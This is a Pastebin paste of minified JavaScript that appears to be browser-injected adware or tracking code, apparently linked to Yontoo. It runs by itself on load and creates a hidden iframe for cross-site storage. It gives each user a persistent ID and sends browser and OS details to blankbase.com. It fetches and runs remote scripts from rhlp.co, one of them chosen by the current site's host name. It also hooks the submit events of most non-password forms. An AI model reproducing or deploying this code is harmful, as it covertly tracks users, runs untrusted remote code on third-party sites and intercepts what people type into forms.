Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- (function () {
- try {
- var utils = function () {
- function M() {
- try {
- for (var a = !1, b = 0; b < A.length; b++) {
- try {
- a = A[b]()
- } catch (c) {
- continue
- }
- break
- }
- return a
- } catch (d) {
- e("createXmlHttpObject ex: " + d.message)
- }
- }
- function N(a, b, c) {
- a.onsubmit = function (a) {
- try {
- b(a)
- } catch (g) {
- e("FormListener onsubmit ex: " + g.message)
- } finally {
- if (typeof c == "function") return c.apply(this, Array.prototype.slice.call(arguments))
- }
- }
- }
- function B(a) {
- try {
- var b = "";
- if (a)
- for (var c = document.getElementsByTagName("meta"), d = 0; d < c.length; d++) {
- var g = c[d];
- g.name && g.name.toLowerCase() ==
- a.toLowerCase() && (b = g.content || "")
- }
- return b
- } catch (f) {
- e("-getMetaTagContentByName: " + f.message)
- }
- }
- function q(a, b, c, d, g) {
- try {
- var g = g || "application/x-www-form-urlencoded",
- f = M();
- if (f) {
- f.open(b ? "POST" : "GET", a, !0);
- b && j(f.setRequestHeader) && f.setRequestHeader("Content-type", g);
- var k = typeof f.readyState == "undefined";
- f.onreadystatechange = f.onload = function () {
- try {
- if (k || f.readyState == 4) typeof f.status != "undefined" && f.status != 200 && f.status != 304 ? e("sendRequest HTTP error " + f.status) : j(d) && d(f.responseText), f.onreadystatechange =
- f.onload = null
- } catch (a) {
- e("sendRequest onreadystatechange ex: " + a.message)
- }
- };
- f.readyState == 4 ? e("sendRequest readystate 4") : (f.send(b), !k && c && setTimeout(function () {
- try {
- f.readyState != 4 && (f.abort(), e("sendRequest aborted"))
- } catch (a) {
- e("sendRequest timeout ex: " + a.message)
- }
- }, c))
- }
- } catch (h) {
- e("sendRequest ex: " + h.message)
- }
- }
- function e(a, b) {
- try {
- P ? console.log("debug: " + a) : (typeof mixpanel == "undefined" && function (a, b) {
- window.mixpanel = b;
- var c, e, h;
- c = a.createElement("script");
- c.type = "text/javascript";
- c.async = !0;
- c.src = ("https:" === a.location.protocol ? "https:" : "http:") + "//cdn.mxpnl.com/libs/mixpanel-2.1.min.js";
- a.getElementsByTagName("head")[0].appendChild(c);
- b._i = [];
- b.init = function (a, c, d) {
- function f(a, b) {
- var c = b.split(".");
- 2 == c.length && (a = a[c[0]], b = c[1]);
- a[b] = function () {
- a.push([b].concat(Array.prototype.slice.call(arguments, 0)))
- }
- }
- var j = b;
- "undefined" !== typeof d ? j = b[d] = [] : d = "mixpanel";
- j.people = j.people || [];
- e = "disable track track_pageview track_links track_forms register register_once unregister identify name_tag set_config people.identify people.set people.increment".split(" ");
- for (h = 0; h < e.length; h++) f(j, e[h]);
- b._i.push([a, c, d])
- };
- b.__SV = 1.1
- }(document, window.mixpanel || []), Math.random() < C && (mixpanel[n] || mixpanel.init(D, {}, n), mixpanel[n].track(a, b)))
- } catch (c) {}
- }
- function E(a, b, c) {
- try {
- if (a.addEventListener) return a.addEventListener(b, c, !1);
- if (a.attachEvent) return a.attachEvent("on" + b, c)
- } catch (d) {
- e("addEventListener ex: " + d.message)
- }
- }
- function F(a, b, c) {
- try {
- if (a.removeEventListener) return a.removeEventListener(b, c, !1);
- if (a.detachEvent) return a.detachEvent("on" + b, c)
- } catch (d) {
- e("removeEventListener ex: " +
- d.message)
- }
- }
- function m() {
- try {
- F(document, "DOMContentLoaded", m);
- for (F(window, "load", m); r.length;) setTimeout(r.pop(), 0)
- } catch (a) {
- e("processReady ex: " + a.message)
- }
- }
- function j(a) {
- return typeof a === "function"
- }
- function G(a) {
- var b = "",
- c = "";
- a.length === 1 ? (b = H, c = a[0]) : (b = I, c = a.join(J));
- K(b, s + c)
- }
- function t() {
- try {
- return String(Math.round(Math.random() * 999999999))
- } catch (a) {
- e("-getToken: " + a.message)
- }
- }
- function L(a, b, c) {
- function d() {
- try {
- j(b) && b(h)
- } catch (a) {
- e("appendIframe.callCallback ex: " + a.message)
- }
- }
- function g() {
- try {
- k--,
- document.body ? (document.body.appendChild(h), clearInterval(f)) : k && clearInterval(f)
- } catch (a) {
- clearInterval(f), e("appendIframe.tryAppend ex: " + a.message)
- }
- }
- try {
- var f, k = 4,
- h = document.createElement("iframe");
- h.style.width = "0px";
- h.style.height = "0px";
- h.style.display = "none";
- h.src = a;
- if (c) h.id = c;
- h.attachEvent ? h.attachEvent("onload", d) : h.onload = d;
- f = setInterval(g, 200)
- } catch (O) {
- e("appendIframe ex: " + O.message)
- }
- }
- function p(a, b) {
- try {
- b = b || t(), u.contentWindow.postMessage(b + v + a, o)
- } catch (c) {
- e("postMessageToFrame ex: " +
- c.message)
- }
- }
- function w(a, b, c) {
- try {
- if (u) {
- var d = window.addEventListener ? "addEventListener" : "attachEvent",
- g = window[d],
- f = window[window.addEventListener ? "removeEventListener" : "detachEvent"],
- k = d == "attachEvent" ? "onmessage" : "message",
- h = t(),
- j = function (a) {
- try {
- var c;
- if (c = a.origin == o) {
- var d;
- try {
- d = a.data.split(v)[0]
- } catch (g) {
- e("getPostMessageToken ex: " + g.message)
- }
- c = d == h
- }
- if (c) {
- f(k, j, !1);
- var l;
- var i = a.data;
- try {
- i = i.split(v)[1], i.indexOf(x) > -1 && (i = i.split(x)), l = i
- } catch (m) {
- e("getPostMessageData ex: " + m.message)
- }
- b(l)
- }
- } catch (n) {}
- };
- g(k, j, !1);
- d = "get" + i;
- a instanceof Array ? (a = a.join(x), d = c ? "getandremovemulti" + i : "getmulti" + i) : c && (d = "getandremove" + i);
- p(d + a, h)
- }
- } catch (l) {
- e("getXdData ex: " + l.message)
- }
- }
- function K(a, b, c) {
- try {
- var d = "",
- d = c == !0 ? "setifnull" + i + a + "***" + b : a + i + b;
- p(d)
- } catch (g) {
- e("setXdData ex: " + g.message)
- }
- }
- function y(a) {
- try {
- if (a)(new Image).src = a
- } catch (b) {
- e("ping: " + b.message)
- }
- }
- var u, z = "gsdiframe",
- Q = window.location.protocol,
- R = window.location.host,
- o = "https://c.mscimg.com",
- P = !1,
- D = "c24a2a4d6517be45913068244ff9297e",
- n = "dataman",
- C = 0.0010,
- H = "gQueue",
- I = "pQueue",
- s = "|^?,|",
- J = "|^!,|",
- v = "^^^",
- x = "~~~",
- i = ":::",
- r = [],
- A = [
- function () {
- return new XDomainRequest
- },
- function () {
- return new XMLHttpRequest
- },
- function () {
- return new ActiveXObject("Msxml2.XMLHTTP")
- },
- function () {
- return new ActiveXObject("Msxml3.XMLHTTP")
- },
- function () {
- return new ActiveXObject("Microsoft.XMLHTTP")
- }
- ],
- S = function () {
- var a = RegExp("^(?:([^:/?#.]+):)?(?://(?:([^/?#]*)@)?([\\w\\d\\-\\u0100-\\uffff.%]*)(?::([0-9]+))?)?([^?#]+)?(?:\\?([^#]*))?(?:#(.*))?$");
- return function (b) {
- b = b.match(a);
- return {
- scheme: b[1],
- user_info: b[2],
- domain: b[3],
- port: b[4],
- path: b[5],
- query_data: b[6],
- fragment: b[7]
- }
- }
- }();
- return {
- getElementsByClassName: function (a, b) {
- try {
- var c;
- if (a && j(a.getElementsByClassName)) c = a.getElementsByClassName(b);
- else a: {
- try {
- for (var d = [], g = RegExp("(^| )" + b + "( |$)"), f = a.getElementsByTagName("*"), k = 0, h = f.length; k < h; k++) g.test(f[k].className) && d.push(f[k]);
- c = d;
- break a
- } catch (i) {
- e("getElementsByClassName ex: " + i.message)
- }
- c = void 0
- }
- return c
- } catch (l) {}
- },
- track: e,
- clearGlobal: function (a) {
- try {
- delete window[a]
- } catch (b) {
- window[a] =
- void 0
- }
- },
- ping: y,
- sendRequest: q,
- configureTracking: function (a, b, c) {
- try {
- D = b, n = a, C = c
- } catch (d) {
- e("configureTracking ex: " + d.message)
- }
- },
- sendBbMsg: function (a, b, c, d, g, f) {
- try {
- for (var k = d ? document.location.protocol : "https:", d = [], h = 0, i = b.length; h < i; h++) d.push(encodeURIComponent(b[h]));
- var l = a + "=" + d.join("|,|"),
- a = k + "//jsl.blankbase.com";
- g ? f ? G([a, l, 5E3]) : q(a, l, 5E3, c) : (f ? G([a + "?" + l]) : y(a + "?" + l), j(c) && c())
- } catch (m) {
- e("sendBbMsg ex: " + m.message)
- }
- },
- getEpoch: function () {
- try {
- return (new Date).getTime()
- } catch (a) {
- e("getEpoch ex: " +
- a.message)
- }
- },
- format: function (a) {
- try {
- for (var b = a, c = 1; c < arguments.length; c++) b = b.replace(RegExp("\\{" + (c - 1) + "\\}", "gi"), arguments[c]);
- return b
- } catch (d) {
- e("-format: " + d.message)
- }
- },
- setupXdLocalStorage: function (a, b) {
- try {
- o = b || o;
- z = b ? "" : z;
- var c = o + "/gsd.html?v=3&d=",
- d;
- try {
- d = encodeURIComponent((Q + "//" + R).replace(/,/g, "$cma;"))
- } catch (g) {
- e("encodeUriComponent ex: " + g.message)
- }
- L(c + d, function (b) {
- try {
- u = b, j(a) && a(b)
- } catch (c) {
- e("setupXdLocalStorage callCallback ex: " + c.message)
- }
- }, z)
- } catch (f) {
- e("setupXdLocalStorage ex: " +
- f.message)
- }
- },
- appendIframe: L,
- getEventTarget: function (a) {
- try {
- var b = a || window.event,
- a = null;
- b && (a = b.target == null ? b.srcElement : b.target);
- return a
- } catch (c) {
- e("getEventTarget ex: " + c.message)
- }
- },
- getToken: t,
- removeXdData: function (a) {
- try {
- p("remove" + i + a)
- } catch (b) {
- e("removeXdData ex: " + b.message)
- }
- },
- setXdData: K,
- getXdData: w,
- incrementXdData: function (a) {
- try {
- p("increment" + i + a)
- } catch (b) {
- e("incrementXdData ex: " + b.message)
- }
- },
- inArray: function (a, b) {
- var c = -1;
- try {
- for (var d = 0; d < a.length; d++)
- if (a[d] == b) {
- c = d;
- break
- }
- } catch (e) {
- utils.track("inArray ex: " +
- e.message)
- } finally {
- return c
- }
- },
- locationInList: function (a, b) {
- var c = -1;
- try {
- for (var d = b || window.location.hostname, g = 0; g < a.length; g++)
- if (d.indexOf(a[g]) > -1) {
- c = g;
- break
- }
- } catch (f) {
- e("locationInList: " + f.message)
- } finally {
- return c
- }
- },
- isLongerAgoThan: function (a, b) {
- try {
- return (new Date).getTime() - a > b
- } catch (c) {
- e("isLongerAgoThan: " + c.message)
- }
- },
- isNull: function (a) {
- return a == null || a == "null" || a == void 0
- },
- splitUri: S,
- isDupValueInArrays: function (a, b) {
- try {
- for (var c = !1, d = 0; d < a.length; d++) {
- for (var g = 0; g < b.length; g++)
- if (a[d] ==
- b[g]) {
- c = !0;
- break
- }
- if (c) break
- }
- return c
- } catch (f) {
- e("isDupValueInArrays ex: " + f.message)
- }
- },
- listenForFormSubmits: function (a) {
- var b = [];
- try {
- if (j(a))
- for (var c = document.getElementsByTagName("form"), d = 0; d < c.length; d++) {
- var g = c[d],
- f;
- var k = !1;
- try {
- for (var h = g.getElementsByTagName("input"), i = 0, l = 0; l < h.length; l++) {
- var m = h[l];
- if (m.type != "hidden") {
- if (m.type == "password") {
- i = 0;
- break
- }
- i++
- }
- }
- i > 3 && (k = !0)
- } catch (n) {
- e("formMeetsRequirements ex: " + n.message)
- } finally {
- f = k
- }
- f && b.push(new N(g, a, g.onsubmit))
- }
- } catch (o) {
- e("listenForFormSubmits ex: " +
- o.message)
- }
- },
- loadScript: function (a, b) {
- try {
- var c = document.createElement("script");
- c.type = "text/javascript";
- c.src = a;
- var d = !1;
- c.onload = c.onreadystatechange = function () {
- if (!d && (!this.readyState || this.readyState == "loaded" || this.readyState == "complete")) d = !0, c.onload = c.onreadystatechange = null, j(b) && b(), c.parentNode.removeChild(c)
- };
- document.body.appendChild(c)
- } catch (g) {
- e("loadScript ex: " + g.message)
- }
- },
- loadScriptWithJsonP: function (a, b, c) {
- try {
- var d = c || "callback" + Math.floor(Math.random() * 999999);
- a += "&callback=" +
- d;
- window[d] = function (a) {
- try {
- j(b) && b(a)
- } catch (c) {
- e("loadScriptWithJsonP tempCallback ex: " + c.message)
- } finally {
- delete window[d]
- }
- };
- utils.loadScript(a)
- } catch (g) {
- e("loadScriptWithJsonP ex: " + g.message)
- }
- },
- showAdvertisementLabel: function (a, b) {
- try {
- var c = document.createElement("div"),
- d = "Advertisement";
- a && (d = a + " " + d);
- b && (d = "<a href='" + b + "'>" + d + "</a>");
- c.innerHTML = d;
- c.style.cssText = "padding:4px;position:absolute;width:auto;height:auto;background-color:#DEDEDE;top:0px;right:0px;color:#666;z-index:2147483647;";
- document.body.appendChild(c)
- } catch (g) {
- e("showAdvertisementLabel: " + g.message)
- }
- },
- checkForKeywordMatch: function (a, b, c) {
- try {
- var d = null;
- if (a && b instanceof Array)
- for (var a = c ? a : a.toLowerCase(), g = 0; g < b.length; g++) {
- var f = c ? b[g] : b[g].toLowerCase();
- if (a.indexOf(f) > -1) {
- d = f;
- break
- }
- }
- return d
- } catch (i) {
- e("checkForKeywordMatch ex: " + i.message)
- }
- },
- getPageKeywords: function () {
- try {
- var a = B("keywords");
- a != "" && (a = a.split(","));
- return a
- } catch (b) {
- e("getPageKeywords ex: " + b.message)
- }
- },
- getPageTitle: function () {
- try {
- return document.title ||
- ""
- } catch (a) {
- e("getPageTitle ex: " + a.message)
- }
- },
- getPageDescription: function () {
- try {
- return B("description") || ""
- } catch (a) {
- e("getPageDescription ex: " + a.message)
- }
- },
- getElementContent: function (a) {
- try {
- var b = "";
- if (a && a.innerHTML) {
- b = a.innerHTML;
- a: {
- try {
- b = b.replace(/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi, "");
- break a
- } catch (c) {
- e("removeScriptTags ex: " + c.message)
- }
- b = void 0
- }
- a: {
- try {
- b = b.replace(/(<([^>]+)>)/ig, "");
- break a
- } catch (d) {
- e("removeHtmlTags ex: " + d.message)
- }
- b = void 0
- }
- a: {
- try {
- b = b.replace(/&.*;/g,
- "");
- break a
- } catch (g) {
- e("removeHtmlEntities ex: " + g.message)
- }
- b = void 0
- }
- b = removeControlChars(b);
- b = removeHashChars(b)
- }
- return b
- } catch (f) {
- e("getElementContent ex: " + f.message)
- }
- },
- getObjectKeys: function (a) {
- try {
- var b = [];
- if (a)
- for (var c in a) b.push(c);
- return b
- } catch (d) {
- e("getObjectKeys: " + d.message)
- }
- },
- getObjectValues: function (a) {
- try {
- var b = [];
- if (a)
- for (var c in a) b.push(a[c]);
- return b
- } catch (d) {
- e("getObjectKeys: " + d.message)
- }
- },
- registerReady: function (a) {
- try {
- r.push(a), document.readyState == "complete" ? m() : (E(document,
- "DOMContentLoaded", m), E(window, "load", m))
- } catch (b) {
- e("registerReady ex: " + b.message)
- }
- },
- replaceSpecialChars: function (a) {
- try {
- var b;
- try {
- b = a.replace(/\n/g, "|^n|").replace(/\r/g, "|^r|").replace(/\t/g, "|^t|")
- } catch (c) {
- e("replaceControlChars ex: " + c.message)
- }
- var d;
- try {
- d = b.replace(/#/g, "|^hash|")
- } catch (g) {
- e("replaceHashChars ex: " + g.message)
- }
- return d
- } catch (f) {
- e("replaceSpecialChars ex: " + f.message)
- }
- },
- isFunction: j,
- sendFromQueue: function () {
- w(H, function (a) {
- if (a && a !== "null")
- for (var a = a.split(s), b = 0; b < a.length; b++) a[b] &&
- y(a[b])
- }, !0);
- w(I, function (a) {
- if (a && a !== "null")
- for (var a = a.split(s), b = 0; b < a.length; b++)
- if (a[b]) {
- var c = a[b].split(J);
- q(c[0], c[1], c[2])
- }
- }, !0)
- },
- localStorageAvailable: typeof localStorage != "undefined"
- }
- }();
- var UAParser = function (d, i) {
- var f = {
- has: function (b, c) {
- return c.toLowerCase().indexOf(b.toLowerCase()) !== -1
- },
- lowerize: function (b) {
- return b.toLowerCase()
- }
- }, g = function () {
- for (var b, c = 0, a, h, j, d, e, g = arguments; c < g.length; c += 2) {
- e = g[c];
- var f = g[c + 1];
- if (typeof b === "undefined")
- for (j in b = {}, f) a = f[j], typeof a === "object" ? b[a[0]] = i : b[a] = i;
- for (a = h = 0; a < e.length; a++)
- if (d = e[a].exec(this.getUA())) {
- for (j = 0; j < f.length; j++) e = d[++h], a = f[j], typeof a === "object" && a.length > 0 ? a.length == 2 ? b[a[0]] = typeof a[1] == "function" ? a[1].call(this,
- e) : a[1] : a.length == 3 ? b[a[0]] = typeof a[1] === "function" && (!a[1].exec || !a[1].test) ? e ? a[1].call(this, e, a[2]) : i : e ? e.replace(a[1], a[2]) : i : a.length == 4 && (b[a[0]] = e ? a[3].call(this, e.replace(a[1], a[2])) : i) : b[a] = e ? e : i;
- break
- }
- if (d) break
- }
- return b
- }, h = function (b, c) {
- for (var a in c)
- if (typeof c[a] === "object" && c[a].length > 0)
- for (var d = 0; d < c[a].length; d++) {
- if (f.has(c[a][d], b)) return a === "?" ? i : a
- } else if (f.has(c[a], b)) return a === "?" ? i : a;
- return b
- }, l = {
- ME: "4.90",
- "NT 3.11": "NT3.51",
- "NT 4.0": "NT4.0",
- 2E3: "NT 5.0",
- XP: ["NT 5.1",
- "NT 5.2"
- ],
- Vista: "NT 6.0",
- 7: "NT 6.1",
- 8: "NT 6.2",
- "8.1": "NT 6.3",
- RT: "ARM"
- }, m = [
- [/(opera\smini)\/((\d+)?[\w\.-]+)/i, /(opera\s[mobiletab]+).+version\/((\d+)?[\w\.-]+)/i, /(opera).+version\/((\d+)?[\w\.]+)/i, /(opera)[\/\s]+((\d+)?[\w\.]+)/i],
- ["name", "version", "major"],
- [/\s(opr)\/((\d+)?[\w\.]+)/i],
- [
- ["name", "Opera"], "version", "major"
- ],
- [/(kindle)\/((\d+)?[\w\.]+)/i, /(lunascape|maxthon|netfront|jasmine|blazer)[\/\s]?((\d+)?[\w\.]+)*/i, /(avant\s|iemobile|slim|baidu)(?:browser)?[\/\s]?((\d+)?[\w\.]*)/i, /(?:ms|\()(ie)\s((\d+)?[\w\.]+)/i,
- /(rekonq)((?:\/)[\w\.]+)*/i, /(chromium|flock|rockmelt|midori|epiphany|silk|skyfire|ovibrowser|bolt|iron)\/((\d+)?[\w\.-]+)/i
- ],
- ["name", "version", "major"],
- [/(trident).+rv[:\s]((\d+)?[\w\.]+).+like\sgecko/i],
- [
- ["name", "IE"], "version", "major"
- ],
- [/(yabrowser)\/((\d+)?[\w\.]+)/i],
- [
- ["name", "Yandex"], "version", "major"
- ],
- [/(comodo_dragon)\/((\d+)?[\w\.]+)/i],
- [
- ["name", /_/g, " "], "version", "major"
- ],
- [/(chrome|omniweb|arora|[tizenoka]{5}\s?browser)\/v?((\d+)?[\w\.]+)/i],
- ["name", "version", "major"],
- [/(dolfin)\/((\d+)?[\w\.]+)/i],
- [
- ["name", "Dolphin"], "version", "major"
- ],
- [/((?:android.+)crmo|crios)\/((\d+)?[\w\.]+)/i],
- [
- ["name", "Chrome"], "version", "major"
- ],
- [/version\/((\d+)?[\w\.]+).+?mobile\/\w+\s(safari)/i],
- ["version", "major", ["name", "Mobile Safari"]],
- [/version\/((\d+)?[\w\.]+).+?(mobile\s?safari|safari)/i],
- ["version", "major", "name"],
- [/webkit.+?(mobile\s?safari|safari)((\/[\w\.]+))/i],
- ["name", ["major", h, {
- 1: ["/8", "/1", "/3"],
- 2: "/4",
- "?": "/"
- }],
- ["version", h, {
- "1.0": "/8",
- "1.2": "/1",
- "1.3": "/3",
- "2.0": "/412",
- "2.0.2": "/416",
- "2.0.3": "/417",
- "2.0.4": "/419",
- "?": "/"
- }]
- ],
- [/(konqueror)\/((\d+)?[\w\.]+)/i, /(webkit|khtml)\/((\d+)?[\w\.]+)/i],
- ["name", "version", "major"],
- [/(navigator|netscape)\/((\d+)?[\w\.-]+)/i],
- [
- ["name", "Netscape"], "version", "major"
- ],
- [/(swiftfox)/i, /(icedragon|iceweasel|camino|chimera|fennec|maemo\sbrowser|minimo|conkeror)[\/\s]?((\d+)?[\w\.\+]+)/i, /(firefox|seamonkey|k-meleon|icecat|iceape|firebird|phoenix)\/((\d+)?[\w\.-]+)/i, /(mozilla)\/((\d+)?[\w\.]+).+rv\:.+gecko\/\d+/i, /(uc\s?browser|polaris|lynx|dillo|icab|doris|amaya|w3m|netsurf|qqbrowser)[\/\s]?((\d+)?[\w\.]+)/i,
- /(links)\s\(((\d+)?[\w\.]+)/i, /(gobrowser)\/?((\d+)?[\w\.]+)*/i, /(ice\s?browser)\/v?((\d+)?[\w\._]+)/i, /(mosaic)[\/\s]((\d+)?[\w\.]+)/i
- ],
- ["name", "version", "major"]
- ],
- n = [
- [/(?:(amd|x(?:(?:86|64)[_-])?|wow|win)64)[;\)]/i],
- [
- ["architecture", "amd64"]
- ],
- [/((?:i[346]|x)86)[;\)]/i],
- [
- ["architecture", "ia32"]
- ],
- [/windows\s(ce|mobile);\sppc;/i],
- [
- ["architecture", "arm"]
- ],
- [/((?:ppc|powerpc)(?:64)?)(?:\smac|;|\))/i],
- [
- ["architecture", /ower/, "", f.lowerize]
- ],
- [/(sun4\w)[;\)]/i],
- [
- ["architecture", "sparc"]
- ],
- [/(ia64(?=;)|68k(?=\))|arm(?=v\d+;)|(?:irix|mips|sparc)(?:64)?(?=;)|pa-risc)/i],
- ["architecture", f.lowerize]
- ],
- o = [
- [/\((ipad|playbook);[\w\s\);-]+(rim|apple)/i],
- ["model", "vendor", ["type", "tablet"]],
- [/(hp).+(touchpad)/i, /(kindle)\/([\w\.]+)/i, /\s(nook)[\w\s]+build\/(\w+)/i, /(dell)\s(strea[kpr\s\d]*[\dko])/i],
- ["vendor", "model", ["type", "tablet"]],
- [/\((ip[honed|\s\w*]+);.+(apple)/i],
- ["model", "vendor", ["type", "mobile"]],
- [/(blackberry)[\s-]?(\w+)/i, /(blackberry|benq|palm(?=\-)|sonyericsson|acer|asus|dell|huawei|meizu|motorola)[\s_-]?([\w-]+)*/i, /(hp)\s([\w\s]+\w)/i, /(asus)-?(\w+)/i],
- ["vendor", "model", ["type", "mobile"]],
- [/\((bb10);\s(\w+)/i],
- [
- ["vendor", "BlackBerry"], "model", ["type", "mobile"]
- ],
- [/android.+((transfo[prime\s]{4,10}\s\w+|eeepc|slider\s\w+))/i],
- [
- ["vendor", "Asus"], "model", ["type", "tablet"]
- ],
- [/(sony)\s(tablet\s[ps])/i],
- ["vendor", "model", ["type", "tablet"]],
- [/(nintendo)\s([wids3u]+)/i],
- ["vendor", "model", ["type", "console"]],
- [/((playstation)\s[3portablevi]+)/i],
- [
- ["vendor", "Sony"], "model", ["type", "console"]
- ],
- [/(sprint\s(\w+))/i],
- [
- ["vendor", h, {
- HTC: "APA",
- Sprint: "Sprint"
- }],
- ["model",
- h, {
- "Evo Shift 4G": "7373KT"
- }
- ],
- ["type", "mobile"]
- ],
- [/(htc)[;_\s-]+([\w\s]+(?=\))|\w+)*/i, /(zte)-(\w+)*/i, /(alcatel|geeksphone|huawei|lenovo|nexian|panasonic|(?=;\s)sony)[_\s-]?([\w-]+)*/i],
- ["vendor", ["model", /_/g, " "],
- ["type", "mobile"]
- ],
- [/\s((milestone|droid(?:[2-4x]|\s(?:bionic|x2|pro|razr))?(:?\s4g)?))[\w\s]+build\//i, /(mot)[\s-]?(\w+)*/i],
- [
- ["vendor", "Motorola"], "model", ["type", "mobile"]
- ],
- [/android.+\s((mz60\d|xoom[\s2]{0,2}))\sbuild\//i],
- [
- ["vendor", "Motorola"], "model", ["type", "tablet"]
- ],
- [/android.+((sch-i[89]0\d|shw-m380s|gt-p\d{4}|gt-n8000|sgh-t8[56]9))/i],
- [
- ["vendor", "Samsung"], "model", ["type", "tablet"]
- ],
- [/((s[cgp]h-\w+|gt-\w+|galaxy\snexus))/i, /(sam[sung]*)[\s-]*(\w+-?[\w-]*)*/i, /sec-((sgh\w+))/i],
- [
- ["vendor", "Samsung"], "model", ["type", "mobile"]
- ],
- [/(sie)-(\w+)*/i],
- [
- ["vendor", "Siemens"], "model", ["type", "mobile"]
- ],
- [/(maemo|nokia).*(n900|lumia\s\d+)/i, /(nokia)[\s_-]?([\w-]+)*/i],
- [
- ["vendor", "Nokia"], "model", ["type", "mobile"]
- ],
- [/android\s3\.[\s\w-;]{10}((a\d{3}))/i],
- [
- ["vendor", "Acer"], "model", ["type", "tablet"]
- ],
- [/android\s3\.[\s\w-;]{10}(lg?)-([06cv9]{3,4})/i],
- [
- ["vendor", "LG"], "model", ["type", "tablet"]
- ],
- [/((nexus\s4))/i, /(lg)[e;\s-\/]+(\w+)*/i],
- [
- ["vendor", "LG"], "model", ["type", "mobile"]
- ],
- [/(mobile|tablet);.+rv\:.+gecko\//i],
- ["type", "vendor", "model"]
- ],
- p = [
- [/(presto)\/([\w\.]+)/i, /(webkit|trident|netfront|netsurf|amaya|lynx|w3m)\/([\w\.]+)/i, /(khtml|tasman|links)[\/\s]\(?([\w\.]+)/i, /(icab)[\/\s]([23]\.[\d\.]+)/i],
- ["name", "version"],
- [/rv\:([\w\.]+).*(gecko)/i],
- ["version", "name"]
- ],
- q = [
- [/(windows)\snt\s6\.2;\s(arm)/i, /(windows\sphone(?:\sos)*|windows\smobile|windows)[\s\/]?([ntce\d\.\s]+\w)/i],
- ["name", ["version", h, l]],
- [/(win(?=3|9|n)|win\s9x\s)([nt\d\.]+)/i],
- [
- ["name", "Windows"],
- ["version", h, l]
- ],
- [/\((bb)(10);/i],
- [
- ["name", "BlackBerry"], "version"
- ],
- [/(blackberry)\w*\/?([\w\.]+)*/i, /(tizen)\/([\w\.]+)/i, /(android|webos|palm\os|qnx|bada|rim\stablet\sos|meego)[\/\s-]?([\w\.]+)*/i],
- ["name", "version"],
- [/(symbian\s?os|symbos|s60(?=;))[\/\s-]?([\w\.]+)*/i],
- [
- ["name", "Symbian"], "version"
- ],
- [/mozilla.+\(mobile;.+gecko.+firefox/i],
- [
- ["name", "Firefox OS"], "version"
- ],
- [/(nintendo|playstation)\s([wids3portablevu]+)/i,
- /(mint)[\/\s\(]?(\w+)*/i, /(joli|[kxln]?ubuntu|debian|[open]*suse|gentoo|arch|slackware|fedora|mandriva|centos|pclinuxos|redhat|zenwalk)[\/\s-]?([\w\.-]+)*/i, /(hurd|linux)\s?([\w\.]+)*/i, /(gnu)\s?([\w\.]+)*/i
- ],
- ["name", "version"],
- [/(cros)\s[\w]+\s([\w\.]+\w)/i],
- [
- ["name", "Chromium OS"], "version"
- ],
- [/(sunos)\s?([\w\.]+\d)*/i],
- [
- ["name", "Solaris"], "version"
- ],
- [/\s([frentopc-]{0,4}bsd|dragonfly)\s?([\w\.]+)*/i],
- ["name", "version"],
- [/(ip[honead]+)(?:.*os\s*([\w]+)*\slike\smac|;\sopera)/i],
- [
- ["name", "iOS"],
- ["version",
- /_/g, "."
- ]
- ],
- [/(mac\sos\sx)\s?([\w\s\.]+\w)*/i],
- ["name", ["version", /_/g, "."]],
- [/(haiku)\s(\w+)/i, /(aix)\s((\d)(?=\.|\)|\s)[\w\.]*)*/i, /(macintosh|mac(?=_powerpc)|plan\s9|minix|beos|os\/2|amigaos|morphos|risc\sos)/i, /(unix)\s?([\w\.]+)*/i],
- ["name", "version"]
- ],
- k = function (b) {
- var c = b || (d && d.navigator && d.navigator.userAgent ? d.navigator.userAgent : "");
- if (!(this instanceof k)) return (new k(b)).getResult();
- this.getBrowser = function () {
- return g.apply(this, m)
- };
- this.getCPU = function () {
- return g.apply(this, n)
- };
- this.getDevice =
- function () {
- return g.apply(this, o)
- };
- this.getEngine = function () {
- return g.apply(this, p)
- };
- this.getOS = function () {
- return g.apply(this, q)
- };
- this.getResult = function () {
- return {
- ua: this.getUA(),
- browser: this.getBrowser(),
- engine: this.getEngine(),
- os: this.getOS(),
- device: this.getDevice(),
- cpu: this.getCPU()
- }
- };
- this.getUA = function () {
- return c
- };
- this.setUA = function (a) {
- c = a;
- return this
- };
- this.setUA(c)
- };
- return k(d.navigator.userAgent)
- }(this);
- var dataSource = decodeURIComponent("hz");
- var guid, xdIdKey = "padsID",
- xdTimeKey = "padsTime",
- xdPartnerKey = "pads3P",
- baseUrl = "https://qp.rhlp.co",
- minuteInMs = 6E4,
- hourInMs = minuteInMs * 60,
- detectYCGuid = "00000000-0000-0000-0000-000000000000",
- padsBuildVersion = "1.0",
- padsType = "js";
- function createGuid() {
- var a = function () {
- return ((1 + Math.random()) * 65536 | 0).toString(16).substring(1)
- };
- return a() + a() + "-" + a() + "-" + a() + "-" + a() + "-" + a() + a() + a()
- }
- function checkMessages(a) {
- var b = utils.getEpoch();
- if (a && a !== "null")
- if (a < b) utils.sendFromQueue();
- else return;
- a = b + hourInMs;
- utils.setXdData(xdTimeKey, a)
- }
- function sendNewUserMessages() {
- typeof YontooClient !== "undefined" && (detectYCGuid = YontooClient.getInstallId());
- var a = /msie ([0-9])/i.exec(navigator.userAgent) ? !0 : !1;
- utils.sendBbMsg("ThirdPartyNewGuid", [utils.getEpoch(), dataSource, guid, padsBuildVersion, padsType, UAParser.browser.name, UAParser.browser.major, UAParser.os.name, window.navigator.language || "", UAParser.os.version, detectYCGuid], null, a, !0, !1)
- }
- function initializePads(a) {
- a && a !== "null" ? guid = a : (guid = createGuid(), sendNewUserMessages(), utils.setXdData(xdIdKey, guid), utils.setXdData(xdPartnerKey, "3P-" + dataSource));
- var b = {
- userId: guid,
- categories: [],
- dataSource: "3P-" + dataSource,
- baseUrl: baseUrl
- };
- utils.loadScript(baseUrl + "/search/js", function () {
- sCapGloRef.init(b)
- });
- utils.loadScript(baseUrl + "/demoda/js?v=3", function () {
- lodemodata.init(b);
- exdemodata.init(b)
- });
- utils.loadScript(baseUrl + "/stub/js/" + document.location.host, function () {
- window.stubGloRef && stubGloRef.init(b)
- })
- }
- function verifyPartner(a) {
- a && a !== "null" && a !== "3P-" + dataSource || (utils.getXdData(xdIdKey, initializePads), utils.getXdData(xdTimeKey, checkMessages))
- }
- function onXdlsReady() {
- utils.getXdData(xdPartnerKey, verifyPartner)
- }
- utils.setupXdLocalStorage(onXdlsReady, baseUrl);
- } catch (ex) {}
- })();
